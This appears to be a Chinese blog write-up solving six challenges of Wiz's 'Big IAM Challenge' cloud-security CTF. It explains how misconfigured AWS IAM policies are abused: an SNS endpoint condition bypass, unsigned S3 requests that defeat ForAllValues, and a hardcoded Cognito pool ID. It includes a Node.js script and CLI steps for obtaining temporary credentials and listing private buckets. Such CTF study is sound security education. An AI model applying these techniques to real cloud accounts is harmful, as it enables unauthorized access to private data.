【漏洞分析】【CTF】Wiz CTF - The Big IAM Challenge: Test Your Cloud Security Skills - Writeup

入口

https://thebigiamchallenge.com/

Challenge 1 - Buckets of Fun

image

IAM Policy如下:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

从IAM策略可以看到,允许未授权对S3桶thebigiamchallenge-storage-9979f4b进行对象遍历,且允许读取对象的内容,因此很简单:
先通过ListBucket方式,找到flag文件所在路径:
image
然后下载S3桶里的flag文件到本地,然后读取文件得到flag:
image

Challenge 2 - Google Analytics

image

IAM Policy如下:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

从IAM策略可以看到,允许未授权往sqs消息队列发送消息,也可以未授权从sqs消息队列读取消息。队列名称 wiz-tbic-analytics-sqs-queue-ca7a1b2 可能包含flag。

因此,通过aws命令帮助,结合GPT的帮助,可以执行以下命令来读取指定消息队列的消息:
aws sqs receive-message --queue-url https://sqs.us-east-1/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
image
返回的消息内容中有一个s3桶的访问url,点击访问,返回了flag:
image

Challenge 3 - Enable Push Notifications

image

IAM Policy如下:

{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

解读下该IAM Policy,就是说,允许所有AWS用户订阅指定的SNS主题(即TBICWizPushNotifications),但有个条件,就是仅允许后缀为@tbic.wiz.io的端点进行订阅。

一开始我被GPT的解读把思维给固定了,GPT的解读是仅允许域名为tbic.wiz.io的邮箱地址进行订阅。搞得我立马以为只能用邮箱去订阅。利用aws命令发送订阅请求后,SNS会发送一个确认链接到你的邮箱,可问题是,你并没有@tbic.wiz.io这样的邮箱,所以你如果指定这样的邮箱去订阅的话,你是无法获得确认链接的,也就解不了这道题。

好在后来想到,订阅时,可能不止支持email去接收。于是问GPT:
image

既然支持http/https协议,那就好办了,指定--protocolhttp, --notification-endpointhttp://<IP>/?test@tbic.wiz.io,这样就能符合 *@tbic.wiz.io的条件了:
image

在自己的服务器上开启监听,接收到消息中包含了确认订阅的链接SubscribeURL:
image

接着访问该SubscribeURL:
image

访问确认订阅链接SubscribeURL后,继续在自己的服务器上监听,就可以获取到来自TBICWizPushNotifications的消息推送,从中便可得到flag:
image

Challenge 4 - Admin only?

image

IAM Policy如下:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

image

该题目是在前面第一道题的基础上,添加了个安全策略,只有指定的管理员用户才能列出指定S3桶files/路径下的文件对象。这道题目需要绕过这个策略。

解题方式1:

根据AWS官方文档对IAM Policy中ForAllValues这个条件限定符的解释可以知道,当aws请求中上下文中没带有限定条件中指定的键或者这个键的值是空时(比如这道题指定的键是aws:PrincipalArn),ForAllValues条件限定符也会返回true,即符合限定条件。
image
而在命令行使用aws工具时,默认都会带上当前用户为AWS CLI 上所配置的凭证信息。
通过aws help帮助命令知道可以通过--no-sign-request来指定aws请求不要带上凭证信息:
image

加上--no-sign-request
image

知道flag文件的路径后,直接下载即可:
image

或者直接回显到终端:
image

解题方式2:

如果用浏览器直接访问S3桶,就是没有带凭据信息的,所以还有一种更简单的方式,就是在url后面加上参数prefix=files/,如下:
image
知道flag文件的路径后,拼接url即可查看:
image

PS:
s3桶的url,可以是:
https://thebigiamchallenge-admin-storage-abf1321.s3.amazonaws.com/
, 或:
https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/

Challenge 5 - Do I know you?

image

IAM Policy如下:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}

AWS Cognito是AWS提供的一项用于身份认证和授权相关的服务。

其实一开始加载第五道题的页面时,出现图片加载延迟,然后显示"图片"来自一个S3桶.
image

打开图片链接一看,一看这个桶名,不就是题目IAM Policy提到的桶么:
image

而且从这个图片的url来看,是带有签名信息的,所以有可能这个签名信息是通过前端js的aws sdk生成的,于是打开F12,看下,果然跟猜想一样,另外还惊喜的发现,AWS Identity Pool Id硬编码在前端代码里:
image

用这个身份池ID,通过aws cognito-identity get-id --identity-pool-id <idpid>,获取身份ID(identity-id):
image

用得到的identity-id换取Cognito临时凭证:
image

但是用aws configure命令在Wiz提供的环境里,总是报错,总之无法输入凭证到上下文.
image

image

干脆换个方法,前面提到,题目页面那个AWS Cognito的Logo图片,也是wiz-privatefiles这个桶里的,而且前端已经写好了现成的js sdk生成包含签名信息的下载url,可以参考使用这段代码,让GPT稍微改造下,只在nodejs控制台跑就行了,生成该桶的根路径的含签名信息的url:

// 安装 AWS SDK: npm install aws-sdk
const AWS = require('aws-sdk');

// 配置 AWS 区域和凭证
AWS.config.update({
    region: 'us-east-1',
    credentials: new AWS.CognitoIdentityCredentials({
        IdentityPoolId: 'us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b'
    })
});

// 创建 S3 服务对象
const s3 = new AWS.S3();

const listAndSignObjects = async () => {
    const params = {
        Bucket: 'wiz-privatefiles'
    };

    try {
        const data = await s3.listObjectsV2(params).promise();
        const objects = data.Contents;

        objects.forEach(obj => {
            const urlParams = {
                Bucket: 'wiz-privatefiles',
                Key: obj.Key,
                Expires: 60 * 60 // 1 hour
            };

            const signedUrl = s3.getSignedUrl('getObject', urlParams);
            console.log('File:', obj.Key, 'URL:', signedUrl);
        });
    } catch (err) {
        console.log('Error:', err);
    }
};

listAndSignObjects();

代码逻辑是先文件遍历,然后把里面的文件的带签名信息url打印出来,运行结果如下:
image
访问flag1.txt的url,得到flag:
image

PS:因为这个身份池ID是跟具体的AWS用户关联的,所以即使你用自己的AWS账号创建了Identity pool,然后用自己的identity pool id,然后换取临时凭证,结果肯定也是没有权限访问的题目IAM策略里的S3桶的。

Challenge 6 - One final push

image

IAM Policy如下:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
                }
            }
        }
    ]
}

获取identity id:
aws cognito-identity get-id --identity-pool-id
image

获取OpenID token:
aws cognito-identity get-open-id-token --identity-id
image

通过OpenID token,换取AWS临时凭证:
aws sts assume-role-with-web-identity
image

(跟前面一样,Wiz提供的那个环境无法设置AWS凭证)
设置AWS凭证到当前环境变量:
image
image

查看当前AWS用户的所有s3桶列表:
image

最终在wiz-privatefiles-x1000这个桶里发现了flag文件:
image

小结

学到了很多,其实云安全是个很有意思的领域,涉及新知识非常多,很有新鲜感.
另外,学习思路是一样的,你的知识面越广,对研究目标越熟悉,你能看到的攻击面越大。

通关后拿了个证书,当个纪念:
https://bigiamchallenge.com/finisher/He5QJi9d
image

Reference

https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html#reference_policies_condition-multi-valued-context-keys

posted @ 2025-02-21 21:26  wh03ver-momo  阅读(39)  评论(0)    收藏  举报